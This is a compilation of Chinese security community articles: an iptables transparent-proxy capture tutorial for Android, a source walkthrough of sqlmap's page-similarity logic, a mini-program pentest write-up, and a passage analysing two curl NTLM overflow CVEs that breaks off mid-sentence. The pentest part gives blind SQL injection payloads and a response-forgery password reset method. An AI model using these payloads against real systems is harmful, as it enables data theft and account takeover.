还有个值得一提的匹配拓展是 `bpf`，支持两个参数，可以使用 `--object-pinned` 直接加载编译后的 eBPF 代码，也可以通过
`--bytecode` 直接指定字节码。直接指定的字节码格式类似于 `tcpdump -ddd` 的输出结果，第一条是总指令数目。
例如以下 bpf 指令 (ip proto 6):
4 # number of instructions
48 0 0 9 # load byte ip->proto
21 0 1 6 # jump equal IPPROTO_TCP
6 0 0 1 # return pass (non-zero)
6 0 0 0 # return fail (zero)
实际调用时候需用用逗号分隔每条指令，且不支持注释等其他符号:
iptables -A OUTPUT -m bpf --bytecode '4,48 0 0 9,21 0 1 6,6 0 0 1,6 0 0 0' -j ACCEPT
对于其他遇到的匹配拓展，可以在官方文档中查看其详细用法。
#### target
target 表示数据包匹配之后要执行的操作，一般使用大写表示。标准操作有 ACCEPT/DROP/RETURN 这三个，其他都定义在 target
extensions 即目标拓展中。
比如我们前面提到的 `CONNMARK` 就是其中一个拓展，其作用是对当前 **链接** 进行打标，这样 TCP
请求的返回数据也会带上我们的标记。类似的还有 `MARK` 拓展，表示对当前 **数据包** 设置标志，主要用于后续 table/chain 的识别。
前面用到的另一个拓展是 `NFLOG`，表示 netfilter logging，规则匹配后内核会将其使用对应的日志后端进行保存，通常与
`nfnetlink_log` 一起使用，通过多播的方式将获取到的数据包发送到 `netlink`
套接字中，从而可以让用户态的抓包程序获取并进行进一步分析。
其他常用的拓展还有 `SNAT/DNAT` 用于修改数据包的源地址和目的地址，`LOG` 可以使内核 dmesg 打印匹配的数据包信息，`TRACE`
可以使内核打印规则信息用于调试分析等。
## Android Proxy
复习完 iptables 的基础后，我们继续回到文章开头的问题，有什么办法可以在不设置代理的基础上代理所有流量呢？
这个问题可以从两方面去考虑，即:
1. 如何匹配目标数据包；
2. 匹配之后如何转发到代理地址；
第一个问题比较简单，我们需要匹配从本地发出的，目的端口是 80/443 的 tcp 流量，因此匹配规则可以写为:
-p tcp -m tcp --dport 443
在不确定目标 web 服务器端口的情况下，可以将 dport 指定为 `0:65535`，对所有端口都进行劫持转发；当然也可以直接不写
match，默认就是匹配所有 tcp 包。不过可以稍微过滤一下目的地址，比如 `! -d 127.0.0.1`，以免本地的 RPC 请求也被误拦截。
或者，更优雅的方案是使用 `multiport` 来一次性指定多个端口:
-m multiport --dports 80,443
第二个问题，既然我们需要将流量转发到代理工具，那么可以选择透明代理模式，上篇文章也有提到过。因此一个最简单的方法是使用 DNAT
修改目的地址。查阅文档可知，DNAT 只能用在 `nat` 表中的 `PREROUTING` 和 `OUTPUT`
链。再根据上文中的流程图，如果代理地址在本地，那只能使用 OUTPUT、如果是远程地址，那么两个链任选一个即可。
综上所述，假设 HTTP 透明代理监听在 `127.0.0.1:8080`，那么可以直接用以下方法设置代理并进行抓包:
iptables -t nat -A OUTPUT -p tcp ! -d 127.0.0.1 -m multiport --dports 80,443 -j DNAT --to-destination 127.0.0.1:8080
## 更进一步
通过这么一条 iptables 命令，配合上透明代理就可以实现全局的 HTTPS 抓包了。所以就这样了吗？回忆一下之前我们其实是可以通过 `owner`
target 去进行 UID 匹配的，只不过之前是使用 NFLOG 配合 tcpdump 进行抓包。因此我们其实也可以通过类似的方式实现基于 UID
的透明代理。
转发规则并没有太大变化，只需要在匹配规则上新增一个约束。
iptables -t nat -A OUTPUT -p tcp ! -d 127.0.0.1 -m owner --uid-owner 2000 -m multiport --dports 80,443 -j DNAT --to-destination 127.0.0.1:8080
这样，不需要额外的路由抓包设备，甚至不需要引入 VPN Service 等其他应用，只需要一行命令即可实现针对单个 Android 应用的全局
HTTP/HTTPS 抓包。
## 总结
本文主要介绍了 iptables 规则的配置方法，并且实现了一种在 Android 中全局 HTTP(S) 抓包的方案，同时借助 `owner`
拓展实现应用维度的进一步过滤，从而避免手机中其他应用的干扰。
相比于传统的 HTTP 代理抓包方案，该方法的优势是可以实现全局抓包，应用无法通过禁用代理等方法绕过；而相比于 Wireshark
等抓包方案，该方法基于透明代理，因此可以使用 BurpSuite、MITMProxy 等成熟的 HTTP/HTTPS
网络分析工具来对流量进行快速的可视化、拦截/重放，以及脚本分析等操作，这些优势是传统抓包方案所无法比拟的。
## 参考链接
* [iptables(8) — Linux manual page](https://man7.org/linux/man-pages/man8/iptables.8.html)
* [iptables-extensions(8) — Linux manual page](https://man7.org/linux/man-pages/man8/iptables-extensions.8.html)
* [Iptables Tutorial 1.2.2](https://www.frozentux.net/iptables-tutorial/iptables-tutorial.html#TRAVERSINGOFTABLES)
* [Iptables packet flow (and various others bits and bobs)](https://rakhesh.com/linux-bsd/iptables-packet-flow-and-various-others-bits-and-bobs/)
* [终端应用安全之网络流量分析](https://mp.weixin.qq.com/s/0-Z-ty9EkWKQl8b1n-8W1w)
* * * | 社区文章 |
# sqlmap 内核分析 II: 核心原理-页面相似度算法实践
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：[@v1ll4n](https://www.zhihu.com/people/af8bd4cc442c1349ed0f46baff19e3fd)（安全研发工程师，现就职于长亭科技，喜欢喵喵
）
在上一篇文章中，我们在 `checkWaf()` 中戛然而止于 `page ratio` 这一个概念；但是在本文，笔者会详细介绍 `page ratio`
对于 sqlmap 整个系统的重要意义和用法，除此之外还会指出一些 sqlmap 的核心逻辑和一些拓展性的功能。包含：
> identityWaf
>
> nullConnection (checkNullConnection)
## 0x00 PageRatio 是什么？
要说 PageRatio 是什么，我们可能需要先介绍另一个模块 `difflib`。这个模块是在 sqlmap
中用来计算页面的相似度的基础模块，实际处理的时候，sqlmap
并不仅仅是直接计算页面的相似度，而是通过首先对页面进行一些预处理，预处理之后，根据预设的阈值来计算请求页面和模版页面的相似度。
对于 `difflib`
模块其实本身并没有什么非常特殊的，详细参见[官方手册](https://link.zhihu.com/?target=https%3A//docs.python.org/2/library/difflib.html)，实际在使用的过程中，sqlmap
主要使用其 `SequenceMatcher` 这个类。以下是关于这个类的简单介绍：
> This is a flexible class for comparing pairs of sequences of any type, so
> long as the sequence elements are hashable. The basic algorithm predates,
> and is a little fancier than, an algorithm published in the late 1980’s by
> Ratcliff and Obershelp under the hyperbolic name “gestalt pattern matching.”
> The idea is to find the longest contiguous matching subsequence that
> contains no “junk” elements (the Ratcliff and Obershelp algorithm doesn’t
> address junk). The same idea is then applied recursively to the pieces of
> the sequences to the left and to the right of the matching subsequence. This
> does not yield minimal edit sequences, but does tend to yield matches that
> “look right” to people.
简单来说这个类使用了 Ratcliff 和 Obershelp
提供的算法，匹配最长相同的字符串，设定无关字符（junk）。在实际使用中，他们应用最多的方法应该就是 `ratio()`。
根据文档中的描述，这个方法返回两段文本的相似度，相似度的算法如下：我们假设两段文本分别为 `text1` 与 `text2`，他们相同的部分长度总共为
`M`，这两段文本长度之和为 `T`，那么这两段文本的相似度定义为 `2.0 * M / T`，这个相似度的值在 0 到 1.0 之间。
### PageRatio 的小例子
我们通过上面的介绍，知道了对于 `abcdefg` 和 `abce123` 我们计算的结果应该是 `2.0 * 4 / 14`所以计算结果应该是：
到现在我们理解了 PageRatio 是什么样的一种算法，我们就可以开始观察 sqlmap 是如何使用这一个值的了～
## 0x01 RATIO in checkWaf
在上节的内容中，我们对于 sqlmap 的源码了解到 `checkWaf` 的部分，结合刚才讲的 PageRatio 的例子，我们直接可以看懂这部分代码：
现在设定 `IDS_WAF_CHECK_RATIO = 0.5` 表明，只要打了检测 IDS/WAF 的 Payload
的页面结果与模版页面结果文本页面经过一定处理，最后比较出相似度相差 0.5 就可以认为触发了 IDS/WAF。
与 `checkWaf` 相关的其实还有 `identityWaf`,
但是这个方法太简单了我们并不想仔细分析，有兴趣的读者可以自行了解一下，本文选择直接跳过这一个步骤。
## 0x02 checkStability
这个函数其实是在检查原始页面是存在动态内容，并做一些处理。何为动态内容？在 sqlmap
中表示以同样的方式访问量次同一个页面，访问前后页面内容并不是完全相同，他们相差的内容属于动态内容。当然，sqlmap
的处理方式也并不是随意的比较两个页面就没有然后了，在比较完之后，如果存在动态页面，还会做一部分的处理，或者提出扩展设置（`--string/--regex`），以方便后续使用。
我们发现，实际的 sqlmap 源码确实是按照我们介绍的内容处理的，如果页面内容是动态的话，则会提示用户处理字符串或者增加正则表达式来验证页面。
>
> 默认情况下sqlmap通过判断返回页面的不同来判断真假，但有时候这会产生误差，因为有的页面在每次刷新的时候都会返回不同的代码，比如页面当中包含一个动态的广告或者其他内容，这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配，在原始页面与真条件下的页面都存在的字符串，而错误页面中不存在（使用–string参数添加字符串，–regexp添加正则），同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串，而错误页面中存在的字符串（–not-> string添加）。用户也可以提供真与假条件返回的HTTP状态码不一样来注入，例如，响应200的时候为真，响应401的时候为假，可以添加参数–code=200。
### checkDynamicContent(firstPage, secondPage)
我们发现，如果说我们并没指定 `string / regex` 那么很多情况，我们仍然也可以正确得出结果；根据 sqlmap
源码，它实际上背后还是有一些处理方法的，而这些方法就在 `checkDynamicContent(firstPage, secondPage)` 中：
我们在这个函数中发现如果 `firstPage 和 secondPage` 的相似度小于 0.98 （这个相似度的概念就是前一节介绍的 PageRatio
的概念），则会重试，并且尝试 `findDynamicContent(firstPage, secondPage)` 然后细化页面究竟是 `too
dynamic` 还是 `heavily dynamic`。
如果页面是 `too dynamic` 则提示启用 `--text-only` 选项：
> 有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置在哪里可以使用–text-> only（HTTP响应体中不同）–titles（HTML的title标签中不同）。
如果页面仅仅是显示 `heavy dynamic` 的话，sqlmap 会不断重试直到区分出到底是 `too
dynamic`还是普通的可以接受的动态页面（相似度大于 0.98）。
对于 `too dynamic` 与可以接受的动态页面（相似度高于 0.98），其实最根本的区别就是在于 PageRatio, 如果多次尝试（超过
conf.retries） 设置的尝试次数，仍然出现了相似度低于 0.98 则会认为这个页面 `too dynamic`。
### findDynamicContent(firstPage, secondPage)
这个函数位于 `common.py`
中，这个函数作为通用函数，我们并不需要非常严格的去审他的源码，为了节省大家的时候，笔者在这里可以描述这个函数做了一件什么样的事情，并举例说明。
这个函数按函数名来解释其实是，寻找动态的页面内容。
实际在工作中，如果寻找到动态内容，则会将动态内容的前后内容（前：`prefix`，后：`suffix`，长度均在
`DYNAMICITY_BOUNDARY_LENGTH` 中设定，默认为 20）作为一个 tuple，存入
`kb.dynamicMarkings`，在每一次页面比较之前，会默认移除这些动态内容。
kb.dynamicMarkings.append((prefix if prefix else None, suffix if suffix else None))
例如，在实际使用中，我们按照官方给定的一个例子：
"""
This function checks if the provided pages have dynamic content. If they
are dynamic, proper markings will be made
>>> findDynamicContent("Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.",
"Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. <script src='ads.js'></script>Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.")
>>> kb.dynamicMarkings
[('natum reque et per. ', 'Facer tritani repreh')]
"""
根据观察，两段文本差别在 `script` 标签，标记的动态内容应该是 `script` 标签，所以动态内容的前 20 字节的文本座位 `prefix` 后
20 字节的文本作为 `suffix`，分别为：
* prefix: `'natum reque et per. '`
* suffix: `'Facer tritani repreh'`
## 0x03 中场休息与阶段性总结
我们虽然之分析了两个大函数，但是整个判断页面相应内容的核心原理应该是已经非常清晰了；可能有些读者反馈我们的进度略慢，但是其实这好比一个打基础的过程，我们基础越扎实对
sqlmap 越熟悉，分析后面的部分就越快。
为了更好的继续，我们需要回顾一下之前的流程图
好的，接下来我们的目标就是图中描述的部分“过滤重复以及不需要检查的参数，然后检查参数是为动态参数”，在下一篇文章中，我们将会详细介绍 sqlmap
其他的核心函数，诸如启发式检测，和 sql 注入检测核心函数。
## 0x04 参数预处理以及动态参数检查
### 参数预处理
参数预处理包含如下步骤：
参数排序
# Order of testing list (first to last)
orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET)
for place in orderList[::-1]:
if place in parameters:
parameters.remove(place)
parameters.insert(0, place)
参数分级检查for place in parameters:
# Test User-Agent and Referer headers only if
# --level >= 3
skip = (place == PLACE.USER_AGENT and conf.level < 3)
skip |= (place == PLACE.REFERER and conf.level < 3)
# Test Host header only if
# --level >= 5
skip |= (place == PLACE.HOST and conf.level < 5)
# Test Cookie header only if --level >= 2
skip |= (place == PLACE.COOKIE and conf.level < 2)
skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None))
skip |= (place == PLACE.HOST and intersect(PLACE.HOST, conf.skip, True) not in ([], None))
skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True))
if skip:
continue
if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
continue
if place not in conf.paramDict:
continue
paramDict = conf.paramDict[place]
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
参数过滤
### checkDynParam(place, parameter, value)
我们进入 `checkDynParam` 函数发现，整个函数其实看起来非常简单，但是实际上我们发现 `agent.queryPage`
这个函数现在又返回了一个好像是 Bool 值的返回值作为 `dynResult` 这令我们非常困惑，我们上一次见这个函数返回的是 `(page,
headers, code)` 。
我们发现实际上的页面比较逻辑也并不是在 `checkDynParam` ，所以表面上，我们这一节的内容是在 `checkDynParam`
这个函数，但是实际上我们仍然需要跟进到 `agent.queryPage`。
那么，等什么呢？继续吧！
### agent.queryPage 与 comparison
跟进 `agent.queryPage` 我相信一定是痛苦的，这其实算是 sqlmap 的核心基础函数之一，里面包含了接近三四百行的请求前预处理，包含
`tamper` 的处理逻辑以及随机化参数和 CSRF 参数的处理检测逻辑。同时如果涉及到了 `timeBasedCompare`
还包含着时间盲注的处理逻辑；除此之外，一般情况下 `agent.queryPage` 中还存在着针对页面比较的核心调用，页面对比对应函数为
`comparison`。为了简化大家的负担，笔者只截取最后返回值的部分 `agent.queryPage` 。
在标注中，我们发现了我们之前的疑问，为什么 `agent.queryPage` 时而返回页面内容，时而返回页面与模版页面的比较结果。其实在于如果
`content/response` 被设置为 `True` 的时候，则会返回页面具体内容，headers，以及响应码；如果
`timeBasedCompare` 被设定的时候，返回是否发生了延迟；默认情况返回与模版页面的比较结果。
我们发现这一个 `comparison`
函数很奇怪，他没有输入两个页面的内容，而是仅仅输入当前页面的相关信息，但是为什么笔者要明确说是与“模版页面”的比较结果呢？我们马上就跟入
`comparison` 一探究竟。
进去之后根据图中的调用关系，我们主要需要观察一下 `_comparison`
这个函数的行为。当打开这个函数的时候，我们发现也是一段接近一百行的函数，仍然是一个需要硬着头皮看下去的一段代码。
根据图中的使用红色方框框住的代码，我们很容易就能发现，这其实是在禁用 `PageRatio` 的页面相似度算法，而是因为用户设定了
`--string/--not-string/--regex/--code` 从而可以明确从其他方面区分出页面为什么不同。当然，我们的重点并不是他，而是计算
`ratio` 并且使用 `ratio`得出页面相似的具体逻辑。
我相信令大家困惑的可能是这两段关于 `nullConnection` 的代码，在前面的部分中，我们没有详细说明 `nullConnection`
究竟意味着什么：
Optimization:
These options can be used to optimize the performance of sqlmap
-o Turn on all optimization switches
--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
根据官方手册的描述，`nullConnection`
是一种不用获取页面内容就可以知道页面大小的方法，这种方法在布尔盲注中有非常好的效果，可以很好的节省带宽。具体的原理详见[这一片古老的文章](https://link.zhihu.com/?target=http%3A//www.wisec.it/sectou.php%3Fid%3D472f952d79293)。
明白这一点，上面的代码就变得异常好懂了，如果没有启用 `--null-connection` 优化，两次比较的页面分别为 `page` 与
`kb.pageTemplate`。其实 `kb.pageTemplate` 也并不陌生，其实就是第一次正式访问页面的时候，存下的那个页面的内容。
conf.originalPage = kb.pageTemplate = page
如果启用 `--null-connection`，计算 ratio 就只是很简单的通过页面的长度来计算，计算公式为
ratio = 1. * pageLength / len(kv.pageTemplate)
if ratio > 1.:
ratio = 1. / ratio
接下来我们再顺着他的逻辑往下走：
根据上面对源码的标注，我们很容易理解这个 `ratio` 是怎么算出来的，同样我们也很清楚，其实并不只是简单无脑的使用 `ratio`
就可以起到很好的效果，配合各种各样的选项或者预处理：比如移除页面的动态内容，只比较 `title`，只比较文本，不比较 `html` 标签。
上面源码为最终使用 `ratio` 对页面的相似度作出判断的逻辑，其中
UPPER_RATIO_BOUND = 0.98
LOWER_RATIO_BOUND = 0.02
DIFF_TOLERANCE = 0.05
## 0x05 结束语
阅读完本文，我相信读者对 sqlmap 中处理各种问题的细节都会有自己的理解，当然这是最好的。
在下一篇文章，笔者将会带大家进入更深层的 sqlmap 的逻辑，敬请期待。 | 社区文章 |
#### 1.前言
由于小程序的便捷性，越来越多的应用迁移到了了小程序上，由此伴随着小程序上线前的日常渗透测试工作也开始增加。但小程序的测试中经常会遇到数据包被加密了，导致无法进行改包测试。和测试网页数据包加密一样，就需要找到小程序前端相应的加解密方法进行加解密数据包改包测试。
#### 2.小程序前端源码提取
不同于网页f12查看网页源码即可查看搜索相应加解密函数，小程序虽然也是三大组件但其前端源码存放在微信安装包的wxapkg包中，我们需要使用一个root设备提取处相应的wxapkg包，并还原出前端源码。文件一般位于
/data/data/com.tenc ent.mm/MicroMsg/appbrand/pkg/（安卓系统，以下测试都在安卓机下进行）目录下。
提取的时候需要准备一台root手机或使用夜神等模拟器均可，然后使用adb进入/data/data/com
.tencent.mm/MicroMsg/appbrand/pkg/，提取相应的文件。由于wxapkg的命名时随机的，可以使用ls -al
命令根据你所安装小程序时间来判断提取相应小程序的wxapkg包。.wxapkg是一个二进制文件，有其自己的一套结构，具体可以参考该[链接](http://lrdcq.com/me/read.php/66.htm)。
接下来就需要对wxapkg文件进行反编译提取相应的前端源码，一般是搭建nodejs环境进行反编译还原。我比较懒不太想搭喜欢用傻瓜式操作，这边推荐一个小程序反编译工具CrackMinApp，具有图形化的操作界面及所需依赖环境。界面长这样：
下载和操作指南可以参考它的[github项目](https://github.com/Cherrison/CrackMinApp)，还原后的前端源码就这样：
#### 3.开始测试
第一步就是要找到前端源码中的加解密的方法，一行行代码去找肯定不现实太费时间，一般都全局搜
encrypt、decrypt、AES、DES、RSA这些关键词。一般来说基本都用对称加密且AES出现的频率最高，如下所示直接找到相应的加解密方法和密码。
用的还是ECB模式这这这。之后就好办了开始测试发现两个高危，中低危就不描述了，说实话加密的数据包解密后一般漏洞较多。
###### 3.1任意用户登录
在忘记密码处输入手机号点击发送验证码，如下所示：
在验证码输入框内输入任意6位数字，如下所示：
点击下一步，拦截服务器返回数据包，如下所示：
数据包内容解密结果如下：
将返回数据包改成如下形式{"code":200}，加密后数据包发至客户端，欺骗成功跳转至设置密码处如下所示：
设置任意密码提交后即可成功修改密码，如下所示：
利用修改完的密码可成功登录，从而实现任意用户密码修改。
##### 3.2 SQL注入
在发现处搜索项目抓取相应的数据包，重放返回如下数据信息：
解密后为项目数据信息，如下所示：
修改POST参数值itemName为’,发现服务器返回500错误如下所示：
由于服务端返回的数据项目名称为例如某某公司，POST数据输入搜索参数为该公司名称有数据返回，输入搜索关键词为"公司“时无数据返回，故猜测sql语句逻辑为模糊查询为如下所示：
'select * from table where clo like '+canshu+'%'
故构造payload首先猜测数据库用户名长度如下所示：
{"pageNum":1,"pageSize":10,"itemName":"%' and concat((case when length(user)>=3 then '1' else '0' end),'%')='1","bondName":""}
加密后在POST包中发送如下所示当长度大于等于3时返回正常，大于等于4时无数据返回，故判断得到数据库用户名长度为3，如下所示：
同理构造如下payload猜测数据库用户名，如下所示：
{"pageNum":1,"pageSize":10,"itemName":"%' and concat((case when ascii(substr(user,3,1))>=67 then '1' else '0' end),'%')='1","bondName":""}
之后就不深入了，测完收工。 | 社区文章 |
**作者：「Tencent Blade Team」leonwxqian
公众号：[腾讯安全应急响应中心](https://mp.weixin.qq.com/s/SBQhFLh6nAAFMvUnVxnjEQ
"腾讯安全应急响应中心")**
### **< 一> 背景**
Tencent Blade
Team在代码审计过程中发现了curl中存在两个可以通过NTLM远程触发的漏洞。这两个漏洞存在于curl在处理Type-2和Type-3消息的逻辑中。
这两个漏洞分别为：
（1）远程内存读取
（CVE-2018-16890，<https://curl.haxx.se/docs/CVE-2018-16890.html> ）
利用此漏洞，攻击者可以在服务器上远程获取客户端内存至多64KB的原始内存信息。而且因为连接可以多次进行，服务器理论上可以多次重复地获取客户端内存。
（2）远程栈缓冲区溢出
（CVE-2019-3822，<https://curl.haxx.se/docs/CVE-2019-3822.html>）
利用此漏洞，攻击者可以通过服务器的认证消息对客户端进行远程栈缓冲区溢出。通过组合上一个漏洞，理论上攻击者可以对客户端进行远程代码执行（RCE）。
curl的作者Daniel在博客中提到“我觉得这可能是很长时间以来curl中发现的最严重的安全问题”（I think this might be the
worst security issue found in curl in a long
time.，<https://daniel.haxx.se/blog/2019/02/06/curl-7-64-0-like-theres-no-tomorrow/>）。
如果编译curl时，选择了使用openssl同时禁用md4，则有漏洞的代码不会被编译进去。在这些情况下的curl不受此漏洞的影响。
我们先从一些常见的场景和认证模式来介绍一下背景，这样可以更方便理解curl这些漏洞是如何工作的。
#### **1.1 关于curl**
curl虽然比较少作为独立的软件出现在大众面前，但是它可谓是一个不折不扣的幕后大佬。它是许多互联网程序的必不可少的组件。
curl用于命令行或脚本中传输数据。它还用于汽车、电视机、路由器、打印机、音频设备、移动电话、平板电脑、机顶盒、媒体播放器，是成千上万每天影响数十亿人的软件应用的互联网传输中枢（<https://curl.haxx.se/>语）。同时，它也可以作为组件（libcurl）在PHP、Python或者WordPress、Git等等软件中使用。
要触发这次提到的两个漏洞，客户端除了要使用有问题的版本以外，还必须支持使用libcurl或者curl来进行代理访问（通过NTLM认证）或者支持通过NTLM验证获取请求。
一般来说，curl的binary默认都是支持NTLM的。使用curl --version 查看，如果包含ntlm，即可以通过curl –ntlm -u
“用户名:密码” 服务器连接远程服务器。
而libcurl则稍稍复杂一点，它需要开发者打开CURLAUTH_NTLM或CURLAUTH_ANY，以表示支持NTLM认证。
图：Git在修改中加入了CURLAUTH_ANY开关，表明支持NTLM认证。
打开开关后要触发NTLM认证， **必须** 通过命令行或cul_setopt指定用户名密码，或者直接在请求的url中指定。例如curl --ntlm
http://用户名:密码@Server/。
NTLM常用于Windows上的身份认证，所以对有Windows机器的内网而言或者代理服务器而言，NTLM出现的频次并不很低。虽然说是身份认证，不过需要注意的是，要触发这次的两个漏洞，来自客户端的身份认证信息并不重要，因为服务器端是被黑客控制的，黑客并不在意客户端发来的是什么，只要按照既定规则发送攻击载荷即可。因此客户端哪怕发来的是错误的验证信息都可以继续触发漏洞。
**黑客唯一需要做的就是，控制一台服务器。因为这是一组由服务器攻击客户端的漏洞。**
**客户端一旦使用有漏洞的curl+NTLM连接到黑客的服务器，黑客就可以攻击客户端程序。**
举一些例子，为了称呼方便，我们在这里统称攻击者为H（Hacker），而被攻击的为V（Victim）。在这些场景下，你可能会和黑客“交手”：
1. 你从网上随便找了一个公开的代理服务器H，但不幸的是这是一台黑客控制的服务器。然后把你的博客如WordPress配置了使用curl+NTLM代理的方式访问服务器H，则你的博客所在的Apache/PHP进程可能都会受到攻击*
2. 你使用了git客户端，配置使用了黑客的代理服务器H，认证过程中就会发生攻击*
3. 公司内网中，有一台服务器H被黑，其他服务器V通过curl+NTLM，向这台被黑的服务器发起网络请求时，H可以对这些服务器V进行攻击*
4. 你的爬虫程序V使用了libcurl来连接一个远程服务器H，并且V打开了支持所有认证模式的开关，这样H就可以攻击V了*
诸如此类等等。
前提只有：
1. 受害者V的客户端使用了有漏洞版本的curl（7.36.0~7.63.0）且支持NTLM；
2. 受害者V访问了黑客H控制的服务器，并使用任意账号密码（不正确也无所谓，但是需要提供）发生了NTLM认证流程。
#### **1.2 关于NTLM认证流程**
再介绍一下NTLM。在Windows网络中，名词NT LAN
Manager(NTLM)表示一种微软的安全协议，该协议可为用户提供身份验证。NTLM是Microsoft LAN
Manager（LANMAN）中的身份验证协议的后继者，这是一种较旧的验证协议。（<https://en.wikipedia.org/wiki/NT_LAN_Manager>）。
NTLM的核心认证消息分为三类，三类的消息各不相同，但是名字很直观。它们分别称为Type-1、Type-2、Type-3
Message。其中Type-1类似握手的步骤，Type-2和Type-3则用于服务器和客户端之间的登陆沟通。
使用NTLM认证进行网络请求的过程如下：
1: C →S GET ...
2: C←S HTTP 401 Unauthorized
WWW-Authenticate: NTLM
3: C →S GET ...
Authorization: NTLM <经BASE64编码的Type-1消息>
4: C←S HTTP 401 Unauthorized
WWW-Authenticate: NTLM <经BASE64编码的Type-2消息>
5: C→S GET ...
Authorization: NTLM <经BASE64编码的Type-3消息>
6: C←S HTTP 200 OK
即：3~5为实际的认证过程。客户端（C）会发送Type-1消息和Type-3消息给服务器（S），而服务器会发送Type-2消息给客户端。
Type1、2、3三类消息的结果都是由之前消息的内容所计算而来的。
具体可以参考微软的文档：
<https://docs.microsoft.com/zh-cn/windows/desktop/SecAuthN/microsoft-ntlm>
curl官方已经发布了详细的漏洞通告。因为这两个漏洞的发现和利用仍然有许多有趣而且值得开发人员警醒的地方，所以我决定写一篇writeup来介绍一下漏洞的发现过程和思考。
### **< 二> curl的客户端版“心脏滴血”CVE-2018-16890**
这个漏洞和“心脏滴血”有那么几分相似。虽然“心脏滴血”是泄露服务器上的内存，而curl是泄露客户端上的内存，但是成因、效果上都能看到“心脏滴血”的影子。
这个漏洞位于lib/vauth/ntlm.c: ntlm_decode_type2_target，问题在于处理传入的NTLM
Type-2消息的函数没有正确验证传入数据，最终导致了整数溢出。使用该溢出，恶意的NTLM服务器可以欺骗libcurl接受错误的长度+偏移组合，这将导致缓冲区读取和写入越界。
细节如下：
当用户尝试连接到启用了NTLM的服务器时，服务器将设置`target_info_len (0~0xffff)和target_info_offset
(0~0xffffffff)`来回复Type-2消息。请注意，在Type-2消息中，长度和offset都是可以被设置的。
而这两个值恰巧又都是unsigned long，因此此处的验证并不正确：
如果`target_info_len + target_info_offset = (unsigned long)0x1
00000000`，则结果为零(高位1溢出)，0在这里一定会小于“size”（消息长度）。
要触发整数溢出，target_info_offset的值必须介于0xffff0001~0xffffffff之间，因为它是长整形，这也代表它也一定会大于48。所以这里的两处安全保护全部会被绕过。
从而触发这里的越界读写
#### **2.1 读取越界→绕过ASLR**
我们先说越界读的问题。可以看到这里target_info_offset虽然定义成了无符号数，但是在方括号的数组索引中，它实际上还是有可能会扮演一个有符号数的角色。
* 当软件是32位的时候，方括号中的数字等价于signed long类型。
* 当软件是64位的时候，方括号中的数字等价于signed long long类型。
先以32位为例，假如offset是0xffffffff，这里memcpy读取到的实际上是buffer[0xffffffff]即buffer[-1]的数据，相当于向前读取了。
而如果是64位程序，则相当于从buffer[0xffffffff]处读取了数据。
数据存放在target_info中，在下一个NTLM Type-3消息返回给服务器时，curl将把这次读取到的内容发送回远程服务器。
根据len +
offset的约束，读取的数据至多可以有64KB大小（0xffff字节），但是可以多次重复触发泄露。每次泄露的位置根据内存分配算法的不同，从而有所不同。因为消息会被base64编码，所以后面的堆数据会原样传递给远程服务器。
通过多次泄露，远程服务器基本可以知道客户端的内存布局。而且，一般情况下可以根据获取到的curl版本以及泄露的堆内容来找到一些可以计算出基址的数据，从而绕过ASLR，为代码执行埋下铺垫。
### **< 三> “可能是长期以来curl里最严重的安全问题”CVE-2019-3822**
Curl的作者在博客中写道，这可能是长期以来curl里最严重的安全问题。这个NTLM
Type-3消息中的栈缓冲区溢出非常有趣。它就是一个非常纯粹、“old-school”（传统）的栈溢出。就是memcpy直接拷贝了超过栈变量长度的数据导致了这个溢出。9102年了，为什么会发生这个问题？其中有几个值得深思的地方。
先介绍一下问题。问题出在`lib/vauth/ntlm.c:Curl_auth_create_ntlm_type3_message()`。创建传出NTLM
Type-3标头的函数基于先前接收的数据生成请求HTTP标头内容。如果从恶意的HTTP服务器提供的先前NTLMv2报头中提取非常大的“nt
response”数据，则输出数据可能比缓冲区大。
“过大的值”需要大约1000字节以上。 复制到目标缓冲区的实际有效负载数据来自NTLMv2 Type 2响应头。
而且，用于防止本地缓冲区溢出的检查的实现是错误的（使用无符号数学运算），因此它不会阻止溢出发生。
细节如下：
`Curl_auth_create_ntlm_type3_message`会调用`Curl_ntlm_core_mk_ntlmv2_resp`来获取Type-2中得到的消息长度，在`Curl_ntlm_core_mk_ntlmv2_resp`中有如下定义：
其中，NTLMv2_BLOB_LEN定义如下：
`\#define NTLMv2_BLOB_LEN (44 -16 + ntlm->target_info_len + 4)`
可以看到这其实是一个有`target_info_len`参与的可变的值，而问题更大的是`target_info_len`是一个攻击者可控的值。当这个函数计算完len并把len写入`ntresp_len`后，外层`Curl_auth_create_ntlm_type3_message`中的拷贝逻辑则会使用这个值向ntlmbuf中复制一个很大的内存。
而不巧ntlmbuf是一个固定长度的栈上变量。因此这里会发生栈缓冲区溢出。
#### **3.1 有符号/无符号数的错误比较→防护失效**
但是上面明明有写size < NTLM_BUFSIZE – ntresplen
